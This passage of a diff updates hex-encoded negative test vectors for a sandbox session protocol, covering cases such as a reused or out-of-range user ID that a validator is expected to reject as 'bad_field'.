e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000007b0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-runtime-uid-equals-tool-uid", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030302c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030302c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-uid-reused-across-items", "direction": "down", - "hex": "574d583101010000010000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030312c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d583101010000010000007b0500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030312c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "error": "bad_field" }, { "name": "conversations-uid-below-1000", "direction": "down", - "hex": "574d58310101000001000000370600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a3939392c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000740600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a3939392c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-uid-nobody-65534", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a36353533342c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a36353533342c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-uid-65535", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a36353533352c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c2262